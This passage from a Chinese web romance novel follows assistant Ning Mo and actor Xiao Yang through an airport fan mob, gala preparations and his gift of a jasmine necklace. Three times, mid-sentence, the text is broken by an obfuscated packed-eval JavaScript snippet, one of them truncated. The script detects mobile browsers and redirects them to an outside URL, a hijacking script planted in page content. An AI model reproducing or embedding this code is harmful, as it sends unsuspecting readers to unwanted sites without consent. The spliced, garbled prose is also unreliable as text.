她动作很轻地扭头，朝着萧扬看了一眼，却不期然对上萧扬安静的目光，顿时一怔。 萧扬不知道什么时候醒的，视线毫不避讳地望着宁茉，又微微下移，移到宁茉手机屏幕上被放大的一张脸——白野。 萧扬目光一滞，安静了几秒，开口道：“你喜欢他？” “啊？”宁茉低头看到手机里的照片，立刻关掉了图片，“……不是，我碰巧刷到了而已。” 车里沉默了一阵子，萧扬像是想起了什么久远的往事，有些出神，过了一会儿，目光又重新移到宁茉身上。 “可你关注了他。” “……！”宁茉这才意识到自己关掉图片后停留在了白野的主页上，而关注那一栏，显示的是“已关注”。 萧扬的眼睛这么尖的吗？！才瞟一眼就看清楚了这么小一行字。 宁茉懵了一下，在萧扬逐渐认真的视线里，慌乱地解释道：“做、做我们这种工作的……关注他不是很正常吗？他、他毕竟也是当红明星。” “而且他今晚也会参加晚会，我提前了解一下情况，这、这还是霍研姐的要求呢……” 萧扬显然没有被她说服，依旧定定地看着她。 “……” 宁茉终于无奈，当着萧扬的面点了“取消关注”，又在确认界面狠狠点了一下确认。 直到白野的微博界面重新变为橙色的“关注”，萧扬才终于放松了眉毛，眼睛一点点亮起来。 “好了吧？”宁茉有些无奈，萧扬偶尔会在意这些奇怪的小事，就像她三天前承认了自己现在算是萧扬的粉丝后，萧扬眼底满是愉悦，仿佛是赢了什么非常了不起的比赛。 “嗯。”萧扬点点头，目光却没有从她的屏幕上移开。 宁茉有些奇怪：“怎么了？” 萧扬问道：“这是你的微博账号？” “！”宁茉这才意识到，自己登录的是那个不常用的微博小号，顿时倒吸了一口凉气。 还好登录的不是画师账号，不然岂不是当场掉马！她心脏骤停几秒，才继续轻轻跳动。 “……对，我不怎么用微博，几乎没发过动态。” 她的首页目前只有寥寥几条信息，最近的一条还是两个多月前深夜发的一条消息，那时她刚进萧扬工作室，给自己发了一条加油打气的微博，再往前就是转发萧扬工作室的招聘公告。 萧扬定定地望着她的微博ID：“宁小喵。” “……也不用念出来吧，”年少时随便起的软萌ID就这么被萧扬字正腔圆地念出来，莫名有一种羞耻感，宁茉耳尖泛红，啪的一下关闭了手机，“谁还没有个……微博小号了。” 萧扬却认真地歪了歪头：“我就没有。” “啊？”宁茉一怔，“那你……平时都……大号冲浪啊？” 萧扬像是疑惑了一秒，又很快理解了宁茉的意思，摇摇头：“……我不冲浪。” 说着，他拿出手机，打开了微博界面。 宁茉好奇地探头看了一眼，只看到密密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15019637|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻麻的消息提示，消息多到整个屏幕全是红点，也不知道萧扬到底点开过没有。 随后，他点开搜索栏，输了“宁小喵”三个字，输入法十分智能，只是打了前两个字，“喵”字已经自动跳了出来。 下一秒，宁茉的微博主页就水灵灵出现在萧扬手机界面中。 宁茉还在疑惑萧扬怎么对自己的微博小号这么好奇，突然双眼大睁，神情震惊：萧扬毫不犹豫、伸手就要去点击最下面的“关注”键。 “诶诶诶！”宁茉急的一把抓住萧扬的指尖，声音都变尖了不少，“你干什么？！” 萧扬却坦然地望着她，语气甚至有些无辜：“……关注你。” “关注什么啊！！！”宁茉顿时呼吸停滞，死死按住他的手，“你知道你现在多少粉丝了吗？你关注我干什么！停手停手停手！” 宁茉几乎能想象得到，他要是敢这么莫名其妙地关注一下，今晚宁茉的微博就会被人全方位无死角地围观一遍。 萧扬手指被宁茉死死攥着，因为紧张，对方的掌心都有些潮热，一张漂亮的脸上也满是惊诧，是她难得的情绪外露的时刻。 他盯着宁茉看了几秒，突然笑了。 宁茉被他搞得一头雾水：“……你笑什么？” “知道了，我不关注了，”萧扬将手机反扣过来，锁了屏，没有提醒宁茉松开手，反而看向她，“但……你也不要关注别人。” “……” 这两件事是怎么划上等号的？但宁茉没心思去细想，她生怕萧扬一个手抖点下关注，急匆匆点点头：“好好好，我不关注别人，只关注你，关注列表里保证只有你和工作室，行了吧？” 萧扬却认真地点点头：“好。” ……宁茉沉默了几秒，耳尖的热度始终没有褪下，她愣神了一会儿，终于察觉到一丝异样：手指间源源不断传来热源，是不属于她的温度。 她这才发现自己还捏着萧扬的手不放，立刻松了手，又心虚地搓了搓指尖，偏过头看向窗外。 怎么感觉……像占了萧扬便宜似的。 …… 二十分钟后，商务车停靠在了机场送站口前，王墨一边将两人的行李从后备箱拿出来一边说道：“加油萧哥，今晚好好表现。” 他又朝着宁茉挥挥手：“我明天上午来接你们，到了记得给我打电话。” “好，你路上开车小心，”宁茉从他手里接过行李，朝他挥挥手，“拜拜~” “拜拜~” 两个人热络地道别，机场外的阳光有些刺眼，萧扬戴上一直挂在口袋上的墨镜，伸手将宁茉手里的行李箱拉了过来，转身就迈开长腿朝着机场大厅走去。 “诶？”宁茉手中一空，低头看到萧扬的动作，顾不上再关注王墨，慌忙追了上去，“我来拿我来拿。” “不用。”萧扬巧妙地避开了她的手。 “不用什么不用！我是助理，这个让我来拿！” 宁茉还在试图从萧扬手里抢回行李箱，突然察觉不对劲：大厅前方似乎有些吵闹。 她抬起头，就看到机场大厅里黑压压一片人头。 “……这是干什么呢？” 萧扬脚步也一顿：“……看起来像是谁的粉丝团。” 这些人手里举着横幅和灯牌，正热切地朝门口看，当看到门口出现的修长身影时，全部激动起来。 “啊啊啊啊好像来了！！！” “是萧扬吗？！” “……”走的近了，宁茉终于看清他们手中的灯牌，上面是巨大的“萧扬”两个字。 她顿时一怔：“萧扬，他们……好像是你的粉丝啊……” “啊？”萧扬难得疑惑了一瞬。 下一秒，黑压压的人头突然朝着他们两个冲过来了。 “啊啊啊啊萧扬！！！” “萧扬！！！！“” 65. 第 65 章 “！！！” 人群像汹涌的潮水朝着两个人扑来，夹杂着高声的尖叫，宁茉被这声浪劈头盖脸的砸过来，人都懵了一瞬。 身边的萧扬比她反应更快，立刻护在她身前，下一秒，他被人层层叠叠围了起来，宁茉也被人推搡挤到了后面。 她蓦然反应过来，艰难拉着行李钻进人群，重新挡在萧扬前面。 “请让……让一下！” “请不要激动……让一……“” 她的声音被淹没在尖叫里，无数人激动地围着萧扬拍照，还有人递出信封和本子，要萧扬给他们签名。 宁茉只好伸手去开路，像往前走，可她努力了半天……移动了0米。 人群像是一堵坚硬的墙，这些人里不乏举着相机的代拍和凑热闹的路人，加上源源不断的人往这边聚集，迅速将大厅堵住，宁茉和萧扬现在即使想走也走不开了。 宁茉庆幸自己外出没忘了戴口罩，不然此刻面对漫天的镜头，她欲哭无泪的表情就要传播的到处都是了。 萧扬皱起眉头，一把拉住宁茉的手臂，坚定地将她拉回自己身边，同时冷着脸对想推开宁茉的人开口：“请不要碰我的助理。” 他冷脸时周身气场就强的吓人，气势吓到不少人，人群里终于让开了一个小小的圈子，让两个人能站稳。 但围观的人还在不断增多，人群已经拥挤到堵塞了机场入口，不少不明真相的群众在抱怨机场大门进不去。 宁茉给王墨打了好几个电话让他快来帮忙，萧扬则联系了浦世诚，让他看看能不能联系到机场的安保。 王墨来的很快，和他一同到来的还有几个身穿制服的安保人员。 “让开让开！不要挡道！” “请让开！不要影响机场秩序！” 宁茉看到安保人员像是看到了救星，伸手拉着萧扬就想过去，萧扬则是先轻轻拉回她，随后将手中的行李交给王墨，才护着宁茉慢慢往外走。 安保人员应对这种情况的经验显然已经很成熟，他们围成一圈，护送着萧扬几人朝着机场里面走去，秩序终于勉强恢复了正常。 直到被安保人员一路送进了单人候机室，周围彻底安静，宁茉紧绷的心才终于松懈下来。 她长舒一口气，疲惫地坐下来：“天哪，怎么会有这么多人……萧扬，你的粉丝什么时候有这么多了？” “说明萧扬哥真的火了，”王墨也是满头大汗，他擦了擦脸上的汗，低头检查着自己的衣服，啧了一声，“……太吓人了，我的外套都快被扯烂了，浦哥不放心，给我订了机票，让我等会儿跟着你们一起去。” 萧扬先是检查了一下宁茉周身，确定她没被人拉扯到，又开口问：“他们怎么知道我在这儿？” “是啊，萧哥的行程也没对外说啊。”王墨不解地挠头。 宁茉一脸无奈：“大概是查了机票信息吧……现在这种信息都是透明的，查起来很容易，而且，这毕竟是你火起来后第一次参加宣传行程。” 《风暴降临》杀青后，萧扬除了拍一些物料，其他时间都在为了进组《如意环》做准备，既不关心网上的舆论、也没有公开参与过什么行程。 连这次“星芒之夜”直播晚会的行程也是临时加的，不然此刻萧扬应该正在武术馆训练。 工作室对于萧扬的人气增长虽然有一点预期，但显然现在的情况远远超过了大家的预期。在他们没有察觉到的时候，萧扬的人气已经呈现一种井喷式增长，往常线下行程不怎么出现的粉丝现在也瞬间全部冒了出来，其中不乏专业代拍和追星组织，都是嗅觉灵敏、冲着突降的流量来的。 “我觉得工作室是时候考虑和安保公司合作了，”宁茉在候机室接了杯自助饮料，顺手递了王墨一杯，“不然下次再遇到这种情况，我们就要上新闻了。” “……已经上了，”王墨刷着手机，看着路人们发的机场视频，“有人说我们的粉丝组织混乱、破坏机场秩序，正骂我们呢……” “？”宁茉睁大双眼，“可这也不是我们组织的呀？” 王墨摇摇头：“没办法，路人只看到是萧扬的粉丝在闹。” 宁茉咬了咬牙：“……岂有此理。” 另一边，萧扬一边给浦世诚打着电话，一边看向宁茉，用眼神示意她过来。 等他打完电话，宁茉也正好走到他面前：“浦哥怎么说？” 萧扬沉声道：“工作室会发声明，呼吁大家维护公共设施，不要扰乱正常通行秩序。” “……”宁茉叹了口气，“完全是无妄之灾。” “也算我们没有提前准备，”萧扬说完，低头看向宁茉，“我的呢？” “……”宁茉不解地看着他，“啊？” 萧扬的目光移到宁茉手中的纸杯：“连王墨都有，我的呢？” “……”宁茉立刻意识到自己这个小助理做的不到位，连水都没给自家艺人倒，但是…… “我刚才看了，候机室没有咖啡，只备了饮料，你……不是不喝含糖饮料嘛。” 萧扬依旧静静地望着她，一言不发。 宁茉觉得自己在对方的目光里看到了失望，深感自身失职：“……你等一下，我找工作人员要杯水。” 萧扬摇摇头：“不用了。” 下一秒，宁茉手中一轻，杯子被人端走。 萧扬面色平淡：“我就喝这个。” “啊？但是这杯我……”宁茉还没来得及说话，萧扬已经举起杯子，浅浅抿了一口。 “……” 此刻再说那杯水自己喝过显然不合适，宁茉在萧扬投来疑惑的目光时只默默摇了摇头，转身又去给自己接了一杯新的饮料。 下午三点，三人顺利到达晚会后台的化妆间。 宁茉一路上已经见到了不少艺人，暗自感叹“星芒之夜”直播晚会果然是星光璀璨，路过的艺人们没一个是叫不出名字的。 主办方大概是看近期萧扬人气暴涨，给萧扬安排了一个单人化妆间，不用再和其他演员一起挤公共化妆间，虽然这个化妆间小到只能站下四个人，但好在算是清净。 名气稍大些的明星团队早就提前艺人们安排好了衣服和化妆师，有些甚至提前两个月就已经和合作品牌借好了高定礼服，只等着今晚亮相惊艳四方。 而萧扬这样临时邀请来、又没有专业造型团队的艺人，则由主办方来提供衣服和化妆师。 宁茉跟着晚会服装负责人去服装间挑衣服，她看着服装间堆成小山的衣服，有些惊诧，没想到一场晚会竟然要准备这么多礼服。 负责人将一个小型移动衣架推出来，上面挂着几套已经熨烫整齐的西装，示意宁茉挑选： “我们根据你提前发来的萧老师的尺寸准备了这几套西装，你可以挑一下拿过去，换好衣服后告诉我，我通知化妆师给他做妆发。” 宁茉一一拉开看了一下，有点发愁，她对时尚造型这一块研究不深，光看这些衣服也看不出来是哪些品牌的，而且西装大多是深色黑色，乍一看区别也不大。 想了想，她举起手机拍了几张照片，发给了萧扬。 [宁茉：你喜欢哪一套？] 萧扬的消息回的很快，内容也很符合他的一贯作风：[都可以。] 宁茉：“……” 都可以，不就等于没选吗？ “怎么样？”负责人要筹备的事情太多，每隔三分钟就要接一通电话，见宁茉半晌没回应，追问道，“选哪一套？” 宁茉察觉他语气中隐隐的焦躁，自己的语气也开始着急：“呃……我……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15034733|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “宁茉？” 一道温润的女声突然在两人背后响起，宁茉回头一看，看到了一个意料之外的身影──魏瑶。 魏瑶身上穿着一套浅粉色的裙子，脚上踩着拖鞋，披散着头发，一脸好奇地望着宁茉：“你怎么在这儿？” 宁茉满脸惊讶地望着她，眨眨眼：“……我在给萧扬挑衣服。” “萧扬的衣服？”魏瑶目光移向衣架，快速扫过一圈，眼底一亮，“呀，还有Brioni的衣服……宁茉，你要不要考虑选这一套？这是个经典款，很衬人的。” 她伸手拉出一套蓝黑渐变的西装外套，展示给宁茉看。 服装负责人看到魏瑶的那一刻眼底就亮了，听到她的话更是笑的像朵花：“魏老师真是有品位，这套衣服的确不错，原本是给高奚老师准备的，不过高老师最后自己又找品牌借了衣服，这套就拿来这里了。” 这句话说完，他又看了一眼宁茉，开口道：“当然，也是因为萧老师的尺寸正好合适，我们才特意把这套衣服调过来的，刚才还有一位老师想借，我们都没给呢。” 宁茉听得暗暗咂舌，他一番话既解释了这套衣服不是因为别家艺人不要才剩下的，衣服本身很有人气，又表明了主办方对萧扬的重视，让人挑不出一点毛病。 至于是不是真的还有别的艺人想借这一套衣服，那就不知道了。 魏瑶听出他的言外之意，笑了：“确实很重视，那我们就要这一套了，免得待会又有别的艺人要借。” 说完，她拉起宁茉的手：“走，去我的化妆间坐坐。” 她不由分说地拉着宁茉就走，宁茉慌忙回头：“可是衣服……” 魏瑶头也不回的对负责人说：“你们把衣服送到萧扬的化妆间！” 说完她还摇摇宁茉的手：“萧扬还要换衣服呢，你去也不方便，你来，我给你看个好玩的。” 她一路拉着宁茉走到自己的化妆间，这是间粉色的化妆间，宁茉进门时特意留意了一下周围几个化妆间门上的名字，都是非常出名的歌手。 魏瑶进了化妆间就蹲在地上开始翻自己的包，宁茉站在她身后，忐忑了几秒，终于问出了自刚才就想问的问题：“魏瑶老师，你怎么去服装间了？” “诶呀，叫什么老师呀，叫我魏瑶就好了，”魏瑶毫无形象地蹲在地上东翻西找，“我的礼服需要改一改，经纪人拿着衣服出去了，结果半天也没回来，我就出去找她，没找到她，先看到你了。” “啊？”宁茉再次看见她身上漂亮的粉裙子，有点懵，“你现在穿的不是礼服吗？” “当然不是，这只是刚才在签名墙上签名时候穿的，走红毯是另一套礼服，到直播晚会的时候还要再换呢……没办法，参加晚会就是这么麻烦。” 魏瑶一边说着，一边动作不停地在包里翻找。 宁茉忍不住问她：“你在找什么？” “找到了，你看！” 魏瑶从包里翻出一个玻璃盒子：“我最近刚订做的，好不好看？” 宁茉低头一看，顿时愣住了。 那是一个立体的冰箱贴，设计十分精巧，人物周围错落有致地摆了一圈漂亮的装饰品，就连外围的玻璃盒子也是定做的，里面还缠了一圈灯带，应该是可以接电亮起来。 但这不是重点，重点是这个冰箱贴里的内容……正是《风暴降临》中海文青饰演的角色周沉，而这幅画，也是前段时间官方发布、惊艳了不少人的双人海报图，只是魏瑶只选取了周沉那一半。 “好看吧？这个画师最近很火，她的画风超级漂亮！”魏瑶一脸开心地问她，“你听说过没有？微博ID是茉莉无声！” “……” 宁茉原地僵了五秒，才在魏瑶期待的视线里缓缓点头：“听、听说过。” 66. 第 66 章 魏瑶顿时激动起来：“你也看到她那几幅作品了对不对？真的是灵气逼人，画的实在是太好了！” 宁茉有些结巴，声音泛着心虚，又暗暗含了些被认可的骄傲：“……呃，画的……确实还不错。” “真希望能见见她本人！”魏瑶笑眯眯道，“我猜她一定是个充满灵气又漂亮可爱的女孩子。” ……自认没什么灵气也不漂亮可爱的宁茉安静了一会儿，默默开口：“也不一定，说不定就是个普通人呢？” 魏瑶语气笃定：“不可能！能画出这么惊艳的画，她就绝对不是个凡夫俗子！” 宁茉被她夸得一双眼睛亮晶晶的，终于忍不住笑道：“……你说的有道理。” …… “哦，对了，还有这个呢。” 魏瑶才想起遗漏的事情，开始从包里翻东西：“我还订了两个手机链，有一个是给你的。” 随着一串珠玉碰撞声，她指尖捏着两个手机链，色彩十分明艳。 宁茉接过一看，手机链是由各种珠子配在一起串成的，上面串了玛瑙、紫水晶、黑曜石，还有一些漂亮的小石头。 “我这个是周沉角色同款配色的手机链，你那个是阑牧配色的，你看，是不是和他一样？” 魏瑶手机里翻出剧照，放到手机链旁边对比。 宁茉仔细看了看，确实是阑牧校服的配色，深蓝、浅蓝、紫色……整体色彩搭配和谐又养眼。 突然意识到这些珠子的价格，宁茉又犹豫起来： “这个……应该很贵吧？就这样给我吗？” 魏瑶大方地摆摆手：“诶呀，不贵不贵，主要是漂亮，你不是萧扬的助理吗？你正好拿着他的配色，很合适~” 话虽这么说，魏瑶也没有多做一个送给萧扬，显然这个链子一开始就是要给宁茉的。 宁茉握着那个手机链，看向魏瑶，眼底发亮：“……谢谢。” 她见过的明星虽然不多，但像魏瑶这样毫无明星架子、凭着个人喜好交朋友的，她还是第一次见。 “不客气不客气~”魏瑶笑眯眯地看着她，提起了之前曾提过的话题，“我很喜欢你，你真的不考虑来我这里工作吗？薪资待遇可以商量哦~假期也可以给你多一点，我的行程不算忙，没事的时候大家都可以休息。” “……”宁茉眨眨眼睛，这已经是魏瑶第二次向她抛出橄榄枝了，如果换做以前的她，应该会毫不犹豫的答应。 她摇摇头，语气真诚：“魏瑶，谢谢你对我的认可，我很喜欢现在的工作，暂时没有离职的打算，不过能被你欣赏，我觉得很荣幸……不，是十分荣幸。” 魏瑶也不介意，只是有些遗憾的点点头：“那好吧，没关系，说明我们缘分还没到。” 她加了宁茉的好友，又在宁茉要回去时热情招手：“晚上我还有演出，记得看哦！~” “我会的！我给你拍视频！”宁茉朝着她挥挥手：“加油！” …… 回到萧扬的化妆间时，化妆间里多出了几个人，是来给萧扬化妆做造型的，萧扬被几个人围在镜子前，目光却没有停在他们身上，而是打量着手边的一个小蓝丝绒盒子。 捕捉到宁茉刚进门的身影后，萧扬开口：“怎么出去这么久？” 宁茉坐到他身后，透过镜子看他：“遇到魏瑶了，和她说了一会儿话。” 萧扬点点头，又问：“剧组的其他人见到了吗？” “还没有，”宁茉低头看了眼手机，“不过我问了海老师的助理，他还在酒店化妆，六点左右才会来；周杉老师五点四十会来，哦，对了，陈昌导演已经到了，正在休息室呢。” 萧扬看向一旁的化妆师：“不好意思，麻烦你们等我五分钟，我出去一趟和陈导打个招呼。” “好的好的，”化妆师显然没想到萧扬这么有礼貌，慌忙点头，“不碍事，时间很充裕，萧老师你去吧。” 萧扬起身，将一直放在手边的小盒子收入掌心，随后转头看向身后乖乖坐着的小助理：“走吧。” “嗯？”宁茉一怔，“我……也一起去吗？” 萧扬点了点头，没有给宁茉反应的时候，迈开腿已经朝着化妆间外走。 宁茉忙不迭起身追在他身后，两人走过曲折的后台，朝着陈昌专用休息室走去。 路上遇到了不少戴着工作牌的工作人员，每个人都和萧扬礼貌的打了招呼，萧扬也一一回应。 宁茉看着看着，笑的莫名有些欣慰：看来萧扬的知名度果然是大幅提升，走在这里已经没有人不认识他了。 萧扬留意到宁茉的笑意，微微侧头看向她：“怎么了？” 宁茉摇摇头：“……没什么，我就是在想，你这身衣服还真的挺好看的。” 她说的是实话，魏瑶给萧扬挑的这一身衣服不愧是奢牌成衣，服装剪裁得体、缝线工整，上衣由黑到蓝的渐变像是用墨水随意泼洒在星空画卷上，显出一种别样的璀璨夺目。 仔细看过去，这些蓝色上面还镶嵌了一些碎宝石，在不同角度的灯光下熠熠生辉，更加增添了整套造型的质感和多变性。 萧扬最近一个月都在锻炼，身材是肉眼可见的好，饱满的胸肌、薄韧的腹肌被衬衣和外套层层包裹，加上一双不讲道理的长腿，任谁看了目光都忍不住要多停留一会儿。 宁茉的目光就这么坦荡地上下来回扫视，看得萧扬肩背都有些僵硬，他忍了几秒，瞥了宁茉一眼：“一件西装而已，有什么差别吗？” “当然有了，虽然都是西装，但也要看穿在谁身上！~”宁茉毫不掩饰她的欣赏，“穿在你身上就格外好看！” “……”萧扬脚步一顿，放慢了步伐，脸上带着淡淡的笑意，“怎么突然这么会说话了？” “……我一直都很会说话呀，”宁茉想了想，又说道，“而且我说的是实话。” 她这样坦诚的时候，比平时更可爱了很多，也更让人移不开眼，萧扬脚步越来越慢，很短的路程两个人硬是用了五分钟才走到。 走到门口时，两人停下脚步，萧扬整了整西装，抬手敲门。 随后，他和宁茉一起进了陈昌的休息室。 陈昌的休息室布置的很雅致，即使只是临时使用，各类用品和摆件也一应俱全，连《风暴降临》的周边都摆在架子上。 陈昌见是萧扬来了，笑的十分热情：“萧扬来了。” …… 两个人没有聊太久，陈昌有太多朋友要见，只匆匆嘱咐萧扬走完红毯后去嘉宾访谈间，说是给他增加了一个访谈环节。 萧扬和宁茉走出陈昌的休息室，宁茉想着陈昌的安排，十分好奇：“访谈？” “嗯，就是几个人坐在一起聊些没什么用的话题给晚会预热，”萧扬语气平淡，“和姜明辰一起。” “啊？……”宁茉神情顿时有些为难，“怎么和他一起啊……” 《如意环》那么多演员，偏偏安排到了男主角这一组……宁茉只见过姜明辰一面，但那一面已经足够让她印象深刻，脾气暴躁、自尊心过强、不允许任何人抢他的风头……简直是集娱乐圈男星会有的毛病于一体。 偏偏这样的人还人气颇高，加上近期姜明辰播了一个综艺，无数粉丝都在期待他要拍的新剧《如意环》。 萧扬余光瞥见宁茉皱巴巴一张小脸，没忍住笑了：“不喜欢他？” “这样的人也很难让人喜欢吧……”宁茉有些不放心，掏出手机开始搜索，“他等会儿不会在直播间坑你吧？不行，我得看看他最近的动态。” 一道闪着碎光的链条从宁茉手心垂下，萧扬转头看去，问道：“刚买的手机链？” “哦，你说这个啊～” 存了点炫耀的心思，宁茉将手机链取下来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15048948|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又翻出阑牧的剧照，放在一起给萧扬看：“喏，是你的角色同款配色手机链哦~” 萧扬顺着她的指尖认真看了一眼，随后点头：“很漂亮，什么时候买的？” “这个可不是买的，是魏瑶送我的，”宁茉挑眉，“她还邀请我去她的公司……诶？！” 话音还没落，萧扬已经动作十分轻巧地从她掌心拿起那个手机链，顺手塞到了自己的西装口袋里。 宁茉呆住了：“你干什么？” 萧扬笑了：“我买了。” “……不卖！”宁茉皱着眉，伸手去摸他的口袋，“快还给我。” “为什么不卖？”萧扬毫不费力避开她的动作，理直气壮，“既然是我的角色同款配色，卖给我不是正合适吗？” “不行不行，快给我……”宁茉一把抓住萧扬的手臂，微微瞪大双眼，“这是魏瑶送我的。” 萧扬偏不给她：“她送你的就不能给我了？她对你什么时候这么重要了？你开个价，随便开，我买了。” 萧扬家伙最近的武术训练没白做，身手敏捷的吓人，能很轻易地躲开宁茉的动作，宁茉努力了半天也没够到自己的手机链。 宁茉见怎么也拿不到东西，索性停了手，激出了点恼意，瞪了一眼萧扬：“十万你买不买？” 萧扬动作一顿，笑意加深：“买啊。” “……“宁茉一口气堵在喉咙，径直朝他伸手，“给钱，现在就给！” 萧扬摊平手，示意宁茉看他空空如也的双手：“没带手机，回去给你转帐。” ……这家伙还真打算花十万买这个手机链啊！ 宁茉难得被气到了，扭头朝着萧扬的化妆间走，萧扬跟在她身后，眼底的笑意几乎抑制不住。 看宁茉头也不回，他轻声问：“小助理，又生气了？” 宁茉不语，只是一味加快脚步。 直到走到化妆间门口，宁茉跨步要朝里走，手腕突然被人攥住，随后掌心一凉，被塞进一个东西，手感比手机链小很多。 宁茉低头一看，发现手心里是一根细细的金色项链，链条采用简单的经典锁扣设计，项链中间用珍珠母贝镶嵌出一朵绽放的茉莉花，在后台昏暗的灯光下也闪出绚烂斑斓的色泽。 她顿时一怔：“这是……” “礼物，送你的，”萧扬说着，将手机链也放到她掌心，盯着她的眼睛笑道，“就当是工作室年终奖吧──你今年做的不错。” “……”宁茉抬眼看他，还有些茫然。 萧扬很轻地拍了拍她的肩膀：“要继续努力啊，小助理。” 说完，他甚至不给宁茉拒绝的机会，转身径直进了化妆间。 “……” 宁茉愣在原地，低头去看那根项链，很漂亮的设计，茉莉也是宁茉最喜欢的一种花。 她望着那根项链静默了一会儿，走廊周围一个人也没有，寂静到能听清自己不断加快的心跳声。 她握紧手心又缓缓松开，拿起项链试着往脖子上戴了一下，项链的尺寸竟然正合适，不需要任何调节，茉莉花垂在锁骨边，衬的她皮肤亮白细腻。 宁茉身上一向不带什么首饰，而这根项链却耀眼漂亮，像是蓦然点亮漆黑的暗室，让人移不开眼。 想了几秒，宁茉伸手要去取下它，又动作一顿，余光注意到了手腕上还戴着的白色智能手表。 那个手表，萧扬也说是工作室送大家的新年礼物。 新年礼物、年终奖、愿望铭牌…… 萧扬好像总是在找各种理由送她东西，大多时候她第一反应都是拒绝，可萧扬就是有让人慢慢接受的本事。 就像此刻，宁茉指尖轻轻捻了捻颈前那朵茉莉花，竟然有些……舍不得还给他了。 她闭上眼，重重叹了口气，最终还是松开手，将衣领往上轻拉盖住项链，朝着化妆间走去。 67. 第 67 章 萧扬的妆造做的很用心，为了贴合他阑牧的角色，化妆师特意翻出阑牧的定妆照，细细对比着人物化妆，正好萧扬最近为了方便《如意环》拍摄时做造型，特意把头发留长了一些。 造型师将萧扬头发打理的层次分明，化妆师则选择了淡妆，重点放在描摹他的眉眼上，清爽的少年感发型和强调轮廓的妆容，让萧扬本身自带的冷淡气质愈发凸显。 “不错，像是出狱后又出道了的阑牧。”宁茉总结道。 “……”萧扬听见她的锐评，撩起眼皮看了一眼镜子，却没有关心自己的造型，而是看向搬着个小板凳坐在角落专心致志看自己化妆的宁茉。 宁茉双手托着下巴，小脸被她的动作挤出了一点脸颊肉，明明化妆是件枯燥无聊的事情，偏偏她看的津津有味，还要盯着化妆师指尖夹着的化妆刷好奇，一双眼睛转来转去，分外可爱。 化妆师化完妆，欣赏了几秒自己的作品，笑着问道：“萧老师这张脸本身不需要太多修饰，您看看，还有哪点不满意吗？” 萧扬的视线依旧停留在宁茉身上，她将羽绒服的领子往上拉严了，但偶尔动作时脖颈边还是会反射出金色的亮光，像不时闪烁的光点，尽数收入萧扬的眼眸。 他眼底浮出笑意，低声道：“好看。” “哈哈，谢谢您的认可！”化妆师和造型师都十分高兴，和萧扬合了几张影，又要了签名，才依依不舍地离开。 王墨也忍不住上下打量：“萧哥，你这套造型真的好帅！” 宁茉起身推了推他：“别欣赏了，快去拍照了。” 原本工作室安排里没有这一环，但宁茉看别家明星都发了红毯造型图，有的甚至换一套造型就要拍一套图，魏瑶的公司还约了两个非常有名的摄影师给她拍照。 相比之下，萧扬就真的只是来参加个活动，没有任何其他宣传。 好在现在王墨来了，他拍照水平在工作室是最好的，虽然比不上那些大摄影师，但拍萧扬的造型图没有任何难度──加上萧扬这样的条件，原图直出就可以了，没有修图的必要。 …… 王墨举着相机这化妆间找拍摄角度，可惜化妆间实在太小施展不开，宁茉想了想，开口道：“要不然……我们去附近的酒店拍？我看好几个明星都在旁边的酒店拍的。” “时间跟不上，”王墨看着表，“还有半小时就要去候场了。” “那……”宁茉左看右看，“我们找点道具，拍特写吧？” 王墨看着化妆间的镜子，突然打了个响指：“我有个想法。” 他让宁茉举着一个小镜子站在萧扬身后，萧扬则侧身靠向面前的大化妆镜，这样一来，两个镜子之间就形成了一个循环的镜面空间。 王墨不断缩小画面比例，将焦距定在萧扬那双深褐色的眼瞳上，很快就拍好了几张图。 “怎么样怎么样？”宁茉好奇地凑过来想看效果，萧扬也走过来，挤到宁茉和王墨中间，瞟了一眼相机画面。 “绝了萧哥，绝了，”王墨翻着相机给两人展示效果，“这图粉丝看了绝对要夸。” “哇！”宁茉满眼惊艳，“这个光好漂亮！王墨你可以啊，你真的可以去做摄影师了！” 王墨被夸的脸红，不好意思地挠挠头：“要是有更好的相机，还能拍的更漂亮。” 萧扬看完王墨的照片，点了点头，转头问王墨：“你想要什么相机？” “啊？” 王墨一怔，没反应过来。 宁茉会意，立刻用胳膊杵了他一下：“萧扬问你什么相机能拍的更好，快说。” “……”萧扬的目光从宁茉的胳膊移到王墨身上，眯了眯眼。 王墨眼底立刻亮了，毫不犹豫地报了一个相机型号，随后又犹豫几秒：“……呃，就是太贵了，其实它的上一个版本也可以，还有……” 他又说了几个便宜的型号，萧扬“嗯”了一声：“工作室这个相机旧了，回头告诉浦世诚买个新的，型号么……” 王墨紧紧盯着他，满脸紧张，就连宁茉也忍不住跟着呼吸暂停了几秒。 萧扬看了宁茉一眼，笑了：“……就用你第一个说的那个吧。” 